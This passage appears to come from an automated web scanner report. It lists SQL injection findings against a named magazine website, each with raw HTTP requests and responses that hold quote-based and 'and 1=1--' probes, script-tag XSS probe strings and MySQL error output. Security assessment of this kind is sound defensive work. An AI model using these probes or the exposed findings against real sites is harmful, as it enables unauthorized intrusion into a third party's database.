HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:38:17 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:38:17 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<blockquote><font face=arial size=2 color=ff0000><b>SQL/DB Error --</b> [<font color=000077>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' AND cookie_info=''' at line 1</font> ...[SNIP]...
Request 2
GET /about-us?1''=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 2
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:38:19 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:38:19 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
...[SNIP]...
1.132. http://www.soundingsonline.com/advertise [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.soundingsonline.com
Path:
/advertise
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request 1
GET /advertise?1'=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 1
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 02:31:13 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 02:31:13 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<blockquote><font face=arial size=2 color=ff0000><b>SQL/DB Error --</b> [<font color=000077>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' AND cookie_info=''' at line 1</font> ...[SNIP]...
Request 2
GET /advertise?1''=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 2
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 02:31:14 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 02:31:14 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
The '"--></style></script><script>alert(0x001E2B)</script> parameter appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the '"--></style></script><script>alert(0x001E2B)</script> parameter, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request
GET /archives?'"--></style></script><script>alert(0x001E2B)</script>' HTTP/1.1 Accept: text/html, application/xhtml+xml, */* Accept-Language: en-US User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0) Accept-Encoding: gzip, deflate Proxy-Connection: Keep-Alive Host: www.soundingsonline.com
Response
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 02:29:16 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 Set-Cookie: d4dad6935f632ac35975e3001dc7bbe8=2autr3bra1c4n8hi6pofo0fot1; path=/ P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 02:29:16 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<blockquote><font face=arial size=2 color=ff0000><b>SQL/DB Error --</b> [<font color=000077>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"--> ...[SNIP]...
The '%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x001E2B)%3C/script%3E parameter appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the '%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x001E2B)%3C/script%3E parameter, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 02:28:53 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 02:28:53 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<blockquote><font face=arial size=2 color=ff0000><b>SQL/DB Error --</b> [<font color=000077>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x001E2B)%3C/script%3E'' AND cooki' at line 1</font> ...[SNIP]...
The User-Agent HTTP header appears to be vulnerable to SQL injection attacks. A single quote was submitted in the User-Agent HTTP header, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request 1
GET /archives?'"--></style></script><script>alert(0x001E2B)</script> HTTP/1.1 Accept: text/html, application/xhtml+xml, */* Accept-Language: en-US User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)' Accept-Encoding: gzip, deflate Proxy-Connection: Keep-Alive Host: www.soundingsonline.com
Response 1
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 02:29:55 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 Set-Cookie: d4dad6935f632ac35975e3001dc7bbe8=90plqvgiq64ahge1urijnrrll5; path=/ P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 02:29:55 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<blockquote><font face=arial size=2 color=ff0000><b>SQL/DB Error --</b> [<font color=000077>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"--> ...[SNIP]...
Request 2
GET /archives?'"--></style></script><script>alert(0x001E2B)</script> HTTP/1.1 Accept: text/html, application/xhtml+xml, */* Accept-Language: en-US User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)'' Accept-Encoding: gzip, deflate Proxy-Connection: Keep-Alive Host: www.soundingsonline.com
Response 2
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 02:29:56 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
The d4dad6935f632ac35975e3001dc7bbe8 cookie appears to be vulnerable to SQL injection attacks. A single quote was submitted in the d4dad6935f632ac35975e3001dc7bbe8 cookie, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 02:28:57 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 Set-Cookie: d4dad6935f632ac35975e3001dc7bbe8=f953kv0sgtapd396agsosf0ie5; path=/ P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 02:28:57 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<blockquote><font face=arial size=2 color=ff0000><b>SQL/DB Error --</b> [<font color=000077>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x001E2B)%3C/script%3E' AND cookie' at line 1</font> ...[SNIP]...
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 02:28:57 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
...[SNIP]...
1.137. http://www.soundingsonline.com/archives [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Firm
Host:
http://www.soundingsonline.com
Path:
/archives
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the name of an arbitrarily supplied request parameter, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 02:29:12 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 02:29:12 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<blockquote><font face=arial size=2 color=ff0000><b>SQL/DB Error --</b> [<font color=000077>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x001E2B)%3C/script%3E&1'=1' AND c' at line 1</font> ...[SNIP]...
1.138. http://www.soundingsonline.com/archives [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.soundingsonline.com
Path:
/archives
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request 1
GET /archives?1'=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 1
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 02:30:31 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 02:30:31 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<blockquote><font face=arial size=2 color=ff0000><b>SQL/DB Error --</b> [<font color=000077>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' AND cookie_info=''' at line 1</font> ...[SNIP]...
Request 2
GET /archives?1''=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 2
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 02:30:32 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 02:30:32 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
The s_lv_s cookie appears to be vulnerable to SQL injection attacks. The payload '%20and%201%3d1--%20 was submitted in the s_lv_s cookie, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 02:29:09 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 02:29:09 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<blockquote><font face=arial size=2 color=ff0000><b>SQL/DB Error --</b> [<font color=000077>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x001E2B)%3C/script%3E' AND cookie' at line 1</font> ...[SNIP]...
1.140. http://www.soundingsonline.com/boat-shop [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.soundingsonline.com
Path:
/boat-shop
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request 1
GET /boat-shop?1'=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 1
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:33:59 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:33:59 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<blockquote><font face=arial size=2 color=ff0000><b>SQL/DB Error --</b> [<font color=000077>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' AND cookie_info=''' at line 1</font> ...[SNIP]...
Request 2
GET /boat-shop?1''=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 2
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:34:08 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:34:08 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
...[SNIP]...
1.141. http://www.soundingsonline.com/boat-shop/know-how [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.soundingsonline.com
Path:
/boat-shop/know-how
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request 1
GET /boat-shop/know-how?1'=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 1
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:32:41 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:32:41 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<blockquote><font face=arial size=2 color=ff0000><b>SQL/DB Error --</b> [<font color=000077>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' AND cookie_info=''' at line 1</font> ...[SNIP]...
Request 2
GET /boat-shop/know-how?1''=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 2
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:32:46 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:32:46 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
...[SNIP]...
1.142. http://www.soundingsonline.com/boat-shop/new-boats [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.soundingsonline.com
Path:
/boat-shop/new-boats
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request 1
GET /boat-shop/new-boats?1'=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 1
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:32:58 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:32:58 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<blockquote><font face=arial size=2 color=ff0000><b>SQL/DB Error --</b> [<font color=000077>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' AND cookie_info=''' at line 1</font> ...[SNIP]...
Request 2
GET /boat-shop/new-boats?1''=1 HTTP/1.1 Host: www.soundingsonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1295922239670; d4dad6935f632ac35975e3001dc7bbe8=pm6j9b9e7du5lte2aknnqnfrr1; count=2; __utmz=1.1295922240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/59; s_sq=%5B%5BB%5D%5D; s_lv_s=First%20Visit; s_visit=1; s_vnum=1298514239669%26vn%3D1; s_invisit=true; s_cc=true; s_nr=1295922239670; __utma=1.435913462.1295922240.1295922240.1295922240.1; __utmc=1; __utmb=1.2.10.1295922240;
Response 2
HTTP/1.1 200 OK Connection: close Date: Tue, 25 Jan 2011 04:33:01 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Content-Type: text/html; charset=utf-8 Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Tue, 25 Jan 2011 04:33:01 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" >
...[SNIP]...
1.143. http://www.soundingsonline.com/boat-shop/new-gear [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.soundingsonline.com
Path:
/boat-shop/new-gear
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The database appears to be MySQL.
Remediation detail
The application should handle errors gracefully and prevent SQL error messages from being returned in responses.
Request 1
